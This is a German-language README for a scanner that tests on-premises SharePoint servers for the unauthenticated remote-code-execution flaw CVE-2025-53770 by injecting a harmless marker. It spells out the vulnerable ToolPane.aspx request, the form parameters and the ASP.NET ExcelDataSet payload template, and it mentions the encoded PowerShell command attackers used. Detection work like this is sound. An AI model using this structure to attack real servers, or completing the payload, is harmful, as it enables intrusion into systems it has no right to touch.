
Scanner for the SharePoint CVE-2025-53770 RCE zero day vulnerability.
Dies ist ein Scanner für die SharePoint-Schwachstelle für nicht authentifizierte Remotecodeausführung, der die CVE-Nummer CVE-2025-53770 zugewiesen bekommen hat. Der Code wurde durch Reverse-Engineering einer in freier Wildbahn gesehenen Payload erstellt.
Verwendung auf eigene Gefahr, ich bin nicht verantwortlich für negative Auswirkungen, die dies verursachen könnte.
Es versucht, die Schwachstelle auszunutzen, indem es einen Marker in das SharePoint-ToolBox-Widget injiziert. Wenn in der Antwort des SharePoint-Servers dieser harmlose Marker gefunden wird, wird der Host als verwundbar markiert.
# Überprüfen, ob <ZIEL-HOSTNAME> verwundbar ist, und Versionsinformationen extrahieren
% ./CVE-2025-53770 [<ZIEL-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# Debug-Logging aktivieren und SharePoint-Versionsinformationen abrufen
% ./CVE-2025-53770 -log=debug -version <ZIEL-HOSTNAME>
...
Jeder, der die On-Premises-Version von SharePoint Server ohne KB5002768 & KB5002754 ausführt.
Die Schwachstelle baut vermutlich auf einer zuvor offengelegten SharePoint-Schwachstelle auf, CVE-2025-49706.
Durch Senden einer HTTP-POST-Anfrage an https://<ZIEL>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx mit einer GZIP-komprimierten, BASE64-kodierten Payload kann eine Remotecodeausführung als SharePoint-Laufzeitprozess erreicht werden.
Zwei Formularparameter sind hier wichtig:
MSOTlPn_Uri: SteuerquellpfadDieser gibt vor, auf ein legitimes SharePoint-Steuerelement (AclEditor.ascx) zu verweisen, und täuscht SharePoint so, dass die Webpart-Bearbeitung erlaubt wird.
Dies scheint ein Mock-/Fake-Wert zu sein, der nur zur Validierung dient.
Die ursprüngliche bösartige Payload enthält MSOTlPn_Uri=https://<ZIEL>%s/_controltemplates/15/AclEditor.ascx, dies scheint aber an diesem Punkt nicht verwendet zu werden.
MSOTlPn_DWP: Webpart-Konfiguration.Dieser Parameter injiziert benutzerdefinierte ASP.NET-Direktiven (<%@ Register %>) und serverseitiges Markup (<Scorecard:ExcelDataSet>).
Die Eigenschaft CompressedDataTable enthält vom Angreifer kontrollierte serialisierte Daten (GZIP + Base64), die die RCE auslösen.
Diese Payload folgt einer bestimmten Struktur:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Wenn ein Steuerelement wie Scorecard:ExcelDataSet existiert und dessen Eigenschaft CompressedDataTable gesetzt ist, wird es direkt vom SharePoint-DWP-Parser deserialisiert.
Die Payload selbst kann recht interessant sein, da sie einen System.DelegateSerializationHolder enthalten kann, der eine Deserialisierungs-RCE auslöst.
Bedrohungsakteure missbrauchten dies, um /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> in ihrer Payload zu übergeben und so Codeausführung zu erreichen.
In unserem Fall übergeben wir lediglich einen statischen Platzhalter, um die Ausnutzbarkeit zu beweisen:
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>